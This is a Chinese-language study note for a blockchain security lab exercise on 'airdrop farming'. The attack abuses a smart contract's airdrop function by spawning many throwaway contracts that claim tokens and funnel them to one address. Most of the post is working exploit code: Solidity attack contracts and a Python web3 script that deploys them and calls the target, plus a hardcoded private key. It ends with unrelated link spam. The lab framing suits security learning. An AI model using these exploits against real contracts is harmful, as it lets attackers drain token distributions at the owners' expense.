某60区块链安全之薅羊毛攻击实战一学习记录

区块链安全

文章目录


薅羊毛攻击实战一

实验目的

学会使用python3的web3模块

学会分析以太坊智能合约薅羊毛攻击漏洞

找到合约漏洞进行分析并形成利用

实验环境

Ubuntu18.04操作机

实验工具

python3

实验原理

薅羊毛攻击指使用多个不同的新账户来调用空投函数获得空投币并转账至攻击者账户以达到财富累计的一种攻击方式。这类攻击方式较为普通且常见,只要是有空投函数的合约都能够进行薅羊毛。

实验内容

合约中内置了空投函数和潜在的薅羊毛攻击问题,找到合约漏洞并形成利用,把合约中的flag变量设置为true即可

使用python3的web3模块远程利用漏洞并获取flag

实验地址为nc ip 10009

薅羊毛攻击实战一 实验步骤

获取合约地址和合约源代码

nc ip 10009连接到题目,输入1,获取部署合约的game account及token

打开http://ip,输入上述分配的game account,点击Request获取eth

ctrl+shift+d

退出

nc ip 10009连接到题目,输入2,获取部署合约的地址及new token

nc ip 10009连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码

分析合约源代码漏洞

题目要求将合约中的flag变量设置为true

分析代码逻辑,需要满足balanceOf[msg.sender] >= 2000才能设置flag为true

题目中有空投函数,每次空投可以使 balance 增加 100,并且也有转账函数,可以将 balance 转给其他用户

那么我们可以使用薅羊毛的攻击方式,创建 20 个临时合约来调用空投函数,并转账给主合约来使得 balanceOf[msg.sender] >= 2000

EXP利用

编写攻击合约attack.sol,将下述ETH9地址替换成自己题目合约的地址,主要包括三个功能:middle_attack合约用于申领空投,并转账给主攻击合约attack;attack合约通过new函数不断申请创建middle_attack合约,直至满足balanceOf[attack] >= 2000;当balanceOf[attack] >= 2000时,调用attack合约的get_flag函数,在get_flag函数中调用题目合约的payforflag函数将flag设置为true

bash 复制代码
pragma solidity ^0.4.23;

contract attack{
    function attack_airdrop() public {
        for(uint i = 0; i < 20; i++){
            new middle_attack(address(this));
        }
    }

    function get_flag() public {
        ETH9 target = ETH9(0x05653f1dE1512EFC31eb6dd835947AF697fA7be0);
        target.payforflag();
    }
}

contract middle_attack{
    constructor(address addr) public {
        ETH9 target = ETH9(0x05653f1dE1512EFC31eb6dd835947AF697fA7be0);
        target.gift();
        target.transfer(addr,100);
    }
}

编写python3自动化脚本,将上述攻击合约部署,然后按照上述步骤分别执行即可

bash 复制代码
from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import time

w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))

contract_address = "0x05653f1dE1512EFC31eb6dd835947AF697fA7be0"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"

def generate_tx(chainID, to, data, value):
    txn = {
        'chainId': chainID,
        'from': Web3.toChecksumAddress(public),
        'to': to,
        'gasPrice': w3.eth.gasPrice,
        'gas': 3000000,
        'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
        'value': Web3.toWei(value, 'ether'),
        'data': data,
    }
    return txn

def sign_and_send(txn):
    signed_txn = w3.eth.account.signTransaction(txn, private)
    txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
    print("txn_hash=", txn_hash)
    return txn_receipt

set_solc_version_pragma('^0.4.23')
with open('./attack.sol', 'r') as f:
    SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:attack']

# deploy attack.sol
txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)

# call attack_airdrop() in attack.sol
data = Web3.keccak(text='attack_airdrop()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):
    print("call attack_airdrop() success")

time.sleep(5)

# call get_flag() in attack.sol
data = Web3.keccak(text='get_flag()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):
    print("call get_flag() success")

执行exp

nc ip 10009连接到题目,输入3,输入之前的new token,获取flag

相关推荐
阿伟来咯~16 分钟前
记录学习react的一些内容
javascript·学习·react.js
Suckerbin38 分钟前
Hms?: 1渗透测试
学习·安全·网络安全
水豚AI课代表1 小时前
分析报告、调研报告、工作方案等的提示词
大数据·人工智能·学习·chatgpt·aigc
聪明的墨菲特i1 小时前
Python爬虫学习
爬虫·python·学习
Diamond技术流1 小时前
从0开始学习Linux——网络配置
linux·运维·网络·学习·安全·centos
斑布斑布1 小时前
【linux学习2】linux基本命令行操作总结
linux·运维·服务器·学习
Spring_java_gg1 小时前
如何抵御 Linux 服务器黑客威胁和攻击
linux·服务器·网络·安全·web安全
Chef_Chen2 小时前
从0开始学习机器学习--Day13--神经网络如何处理复杂非线性函数
神经网络·学习·机器学习
newxtc2 小时前
【国内中间件厂商排名及四大中间件对比分析】
安全·web安全·网络安全·中间件·行为验证·国产中间件
lulu_gh_yu2 小时前
数据结构之排序补充
c语言·开发语言·数据结构·c++·学习·算法·排序算法